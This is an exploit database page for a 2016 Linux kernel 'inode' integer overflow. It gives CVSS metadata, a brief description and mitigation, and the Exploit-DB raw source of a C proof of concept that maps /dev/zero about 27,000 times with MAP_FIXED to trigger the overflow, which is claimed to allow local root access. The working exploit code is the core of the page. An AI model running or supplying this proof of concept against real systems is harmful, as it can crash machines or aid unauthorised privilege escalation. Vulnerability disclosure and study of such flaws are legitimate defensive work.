Linux Kernel 2.6.32-642 / 3.16.0-4 'inode' Integer Overflow PoC

vendor:

Kernel

by:

Todor Donev

7,2

CVSS

HIGH

Integer Overflow

190

CWE

Product Name: Kernel

Affected Version From: 2.6.32-642

Affected Version To: 3.16.0-4

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2016

Linux Kernel 2.6.32-642 / 3.16.0-4 ‘inode’ Integer Overflow PoC

The inode is a data structure in a Unix-style file system which describes a filesystem object such as a file or a directory. Each inode stores the attributes and disk block locations of the object's data. Filesystem object attributes may include metadata, as well as owner and permission data. INODE can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access.

Mitigation:

Ensure that the system is updated with the latest security patches and that the system is configured to use the latest security settings.

Source

Exploit-DB raw data:

/*  Linux Kernel 2.6.32-642 / 3.16.0-4 'inode' Integer Overflow PoC

  The inode is a data structure in a Unix-style file system which describes a filesystem 
  object such as a file or a directory. Each inode stores the attributes and disk block 
  locations of the object's data. Filesystem object attributes may include metadata, as 
  well as owner and permission data.

  INODE can be overflowed by mapping a single file too many times, allowing for a local 
  user to possibly gain root access.

  Disclaimer:
  This or previous program is for Educational purpose ONLY. Do not  use it without permission. 
  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any 
  damages caused by direct or indirect use of the information or functionality provided 
  by these programs. The author or any Internet provider bears NO responsibility for content 
  or misuse of these programs or any derivatives thereof. By using these programs you accept 
  the fac that any damage (dataloss, system crash, system compromise, etc.) caused by the use 
  of these programs is not Todor Donev's responsibility.

  Thanks to Maya Hristova and all friends.

  Suggestions,comments and job offers are welcome!
  
  Copyright 2016 (c) Todor Donev
  Varna, Bulgaria
  todor.donev@gmail.com
  https://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg
  http://pastebin.com/u/hackerscommunity  

*/
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
void main(){
int fd, i;
fd = open("/dev/zero", O_RDONLY);
for(i = 0; i < 26999; i++){
mmap((char*)0x00000000 + (0x10000 * i), 1, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
}
}